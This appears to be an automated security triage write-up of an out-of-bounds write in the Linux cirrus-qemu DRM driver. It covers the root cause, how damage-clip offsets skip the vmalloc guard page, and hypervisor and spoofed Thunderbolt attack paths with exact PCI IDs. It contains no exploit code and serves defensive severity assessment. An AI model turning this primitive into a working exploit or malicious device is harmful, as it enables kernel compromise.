This is a pretty nasty one. The core issue is an out-of-bounds write in `drm_fb_memcpy` within the `cirrus-qemu` driver when copying framebuffer data to the VRAM. The driver, in its design, makes an incorrect assumption about the VRAM size, specifically, that it's always the default 4MB (`CIRRUS_VRAM_SIZE`). It validates against this 4MB limit for the framebuffer size, but the VRAM itself is mapped using the actual PCI BAR0 size. That's where the problem lies.
The exploitability is definitely there. A clever attacker can manipulate the starting offset of the copy using `FB_DAMAGE_CLIPS` during an atomic commit. Since that `offset` can go up to nearly the 4MB mark, and a malicious device (or hypervisor) can set the BAR0 size *way* smaller, like down to 4KB, it's trivial to write past the allocated memory. This write bypasses the vmalloc guard page. This opens the door to arbitrary vmalloc memory corruption, which is basically a guaranteed privilege escalation scenario. We're talking about things like overwriting BPF programs, kernel module data, or any other sensitive kernel structures. This is a very serious concern.
And even if the attacker doesn't go for memory corruption, a standard full modeset (like what happens during boot through `fbcon` or when closing the DRM device) can trigger a denial-of-service condition. Because the copy starts at offset 0, it will quickly hit the unmapped guard page, resulting in a kernel panic β a supervisor write access violation (`#PF`).
Now, the good news (sort of) is that it's not directly accessible from unprivileged processes on a standard system. The `cirrus-qemu` driver only attaches to the legitimate Cirrus devices that are typically found in QEMU/Xen environments. These have the default 4MB BAR0. Because of the framebuffer size limitation, the copy *should* always stay within bounds in these configurations. You need a device with a BAR0 smaller than 4MB, and an unprivileged user can't arbitrarily bind the driver to a different PCI device. That requires root access to sysfs files like `new_id` and `bind`, which are restricted. The same limitation applies to user namespaces.
The vulnerability isn't triggered by guests attacking the host. This bug sits within the guest kernel's DRM driver, so it cannot be used by the guest to attack the host.
However, a malicious hypervisor *can* trigger this. In a confidential computing context, a hypervisor can present a virtual Cirrus PCI device with a small BAR0 (4KB, for example) to a confidential guest. The guest kernel will bind the driver and map the small BAR0, so when the guest's `fbcon` initializes, it will trigger the out-of-bounds write and panic the guest kernel. It could also lead to privilege escalation if `fbcon` is disabled.
And, even more concerning, a malicious Thunderbolt/USB4 device can masquerade as a Cirrus QEMU PCI device with a small BAR0. If the system is connected to such a device, the kernel will automatically load the `cirrus-qemu` module and bind it, immediately triggering either a kernel panic (if `fbcon` is used) or a privilege escalation scenario. This is a supply-chain attack vector.
Finally, there are no network, remote traffic, or filesystem attack vectors. This one is localized to the graphics device interaction.
|
| 49/1 |
2026/08/17 03:07 |
action |
format-explanation |
0m
Results: map[Explanation:**Analysis of the Bug and its Security Impact**
The bug is an out-of-bounds write in the `cirrus-qemu` DRM driver, specifically
in `drm_fb_memcpy()` when copying a framebuffer to the device's VRAM.
**Root Cause:**
The `cirrus-qemu` driver assumes that the device's VRAM size is always 4MB
(`CIRRUS_VRAM_SIZE`). It uses this 4MB constant to validate the maximum size of
the framebuffer created by userspace (`fb->pitches[0] > CIRRUS_VRAM_SIZE /
fb->height`). However, during initialization (`cirrus_pci_probe`), the driver
maps the VRAM using the actual size of the PCI BAR0 (`pci_resource_len(pdev,
0)`). If the driver is bound to a device where BAR0 is smaller than 4MB, the
driver will still allow userspace to create and commit a framebuffer up to 4MB
in size. When the atomic update copies the framebuffer to the mapped VRAM, it
writes past the end of the `ioremap` region, causing a `#PF` (page fault) when
it hits the vmalloc guard page.
**Exploitability:**
This bug is **Exploitable** for memory corruption and privilege escalation.
While a sequential out-of-bounds write would normally hit the 4KB vmalloc guard
page and safely panic the kernel, the `cirrus-qemu` driver supports the
`FB_DAMAGE_CLIPS` property. This allows an attacker to submit an atomic commit
with a custom damage rectangle, controlling the starting `y` coordinate of the
copy. This translates to an arbitrary `offset` up to ~4MB from the start of the
VRAM mapping. If the BAR0 size is small (e.g., 4KB), the attacker can set an
offset that completely skips the 4KB guard page and writes directly into
adjacent `vmalloc` allocations. This provides a powerful primitive to overwrite
arbitrary vmalloc memory (such as BPF maps, kernel stacks, or module data),
leading to privilege escalation.
**Denial of Service:**
The bug easily results in a **Denial of Service**. Even without crafting a
specific damage clip, a standard full modeset (such as the one automatically
performed by `fbcon` during boot, or when the DRM file descriptor is closed)
will copy the entire framebuffer. This will hit the unmapped guard page and
cause an immediate kernel panic.
**Trigger Scenarios:**
* **Unprivileged Processes / User Namespaces:** On a standard system, this bug
is **NOT** accessible to unprivileged users. The driver only automatically binds
to legitimate QEMU/Xen virtual Cirrus devices, which have a default BAR0 size of
4MB. With a 4MB BAR0, the copy will never go out of bounds. Triggering the bug
requires the driver to be bound to a device with a small BAR0. Doing this
manually (as the reproducer does) requires root privileges to write to the PCI
sysfs `new_id` and `bind` files, which are not accessible to unprivileged users
or within user namespaces.
* **VM Host Trigger (Confidential Computing):** A malicious hypervisor can
provide a virtual Cirrus PCI device with a maliciously small BAR0 (e.g., 4KB) to
a confidential guest (like AMD SEV or Intel TDX). The guest kernel will bind to
it, and the subsequent `fbcon` initialization will panic the guest (DoS). If
`fbcon` is disabled, an unprivileged user inside the guest could exploit the bug
to gain root privileges within the guest.
* **Peripheral Trigger:** A malicious Thunderbolt/USB4 device can present itself
as a PCIe device matching the Cirrus QEMU PCI IDs (Vendor `0x1013`, Device
`0x00B8`, Subvendor `0x1AF4`, Subdevice `0x1100`) but with a small BAR0. The
kernel will automatically load the `cirrus-qemu` module and bind it to the
device. This will instantly crash the system via `fbcon` (DoS) or allow an
attacker with physical access to exploit the vmalloc out-of-bounds write.]
|